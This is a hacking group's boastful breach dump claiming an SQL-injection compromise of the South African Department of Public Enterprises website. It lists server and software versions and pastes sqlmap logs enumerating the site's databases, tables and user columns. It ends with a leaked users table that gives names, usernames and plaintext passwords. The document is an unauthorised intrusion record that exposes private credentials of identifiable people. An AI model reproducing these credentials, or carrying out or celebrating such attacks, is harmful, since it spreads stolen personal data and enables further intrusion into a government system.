#################################### HACKED BY TEAM T!g3R #############################################
THE DEPARMENT OF PUBLIC ENTERPRISES OF AFRICA FUCKED BY US
MEMBERS : w3bd3f4c3r, n3ll@!s4mur@!, !nd!@nRuBuk, 5!l3nt k!ll3r, r00t, burn3r, ionprohaxor, s3n.
WEBSITE : http://wwww.dpe.gov.za
VULNERABLE : SQLi
VULNERABLE LINK HIDDEN
###################################### PROOFS OF HACKS ###############################################
PROOF OF DATABASE ACESSED : http://i51.tinypic.com/frs0k.png
PROOF OF TABLES ACESSED : http://i54.tinypic.com/js11c2.png
PROOF OF USERS DATA ACESSED : http://i51.tinypic.com/eqqopg.png
###################################### SERVER DETAILS ###################################################
web server operating system: Linux Debian or Ubuntu 5.0 (lenny)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
################################### DAtABASE NAMES ####################################################
available databases [2]:
[*] dpeago_db2
[*] information_schema
######################################## TABLES NAMES ################################################
[10:44:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 5.0 (lenny)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
[10:44:37] [INFO] fetching tables for database 'dpeago_db2'
[10:44:37] [INFO] fetching number of tables for database 'dpeago_db2'
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 9
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Navigation
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Survey_2008
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': content
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': sitecontent
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': subscribers
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': tblStats
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': tempnavigation
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': tools
[10:44:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': users
Database: dpeago_db2
[9 tables]
+----------------+
| Navigation |
| Survey_2008 |
| content |
| sitecontent |
| subscribers |
| tblStats |
| tempnavigation |
| tools |
| users |
+----------------+
######################################## USER TABLES ##################################################
[10:52:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 5.0 (lenny)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
[10:52:10] [INFO] fetching columns for table 'users' on database 'dpeago_db2'
[10:52:10] [INFO] fetching number of columns for table 'users' on database 'dpeago_db2'
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 8
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': ID
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': FirstName
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Surname
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': UserName
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Password
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Active
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Created
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Modified
[10:52:10] [INFO] fetching entries for table 'users' on database 'dpeago_db2'
[10:52:10] [INFO] fetching number of entries for table 'users' on database 'dpeago_db2'
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 3
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': andrew
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Vester
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Andrew
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 2006-05-02 00:00:00
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 2006-05-02 00:00:00
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 1
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': andrew
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 1
[10:52:10] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session':
[10:52:34] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session':
[10:52:37] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session':
[10:52:41] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 0000-00-00 00:00:00
[10:52:41] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 0000-00-00 00:00:00
[10:52:41] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session':
[10:52:44] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session':
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 2
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': tc
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Tshepo
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': Tshepo
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 2005-02-21 00:00:00
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 2005-02-21 00:00:00
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 1
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': tc
[10:52:48] [INFO] read from file '/pentest/database/sqlmap/output/www.dpe.gov.za/session': 5
Database: dpeago_db2
Table: users
[3 entries]
+--------+---------------------+-----------+----+---------------------+----------+---------+----------+
| Active | Created | FirstName | ID | Modified | Password | Surname | UserName |
+--------+---------------------+-----------+----+---------------------+----------+---------+----------+
| 1 | 2006-05-02 00:00:00 | Andrew | 1 | 2006-05-02 00:00:00 | andrew | Vester | andrew |
| NULL | 0000-00-00 00:00:00 | NULL | 2 | 0000-00-00 00:00:00 | NULL | NULL | NULL |
| 1 | 2005-02-21 00:00:00 | Tshepo | 5 | 2005-02-21 00:00:00 | tc | Tshepo | tc |
+--------+---------------------+-----------+----+---------------------+----------+---------+----------+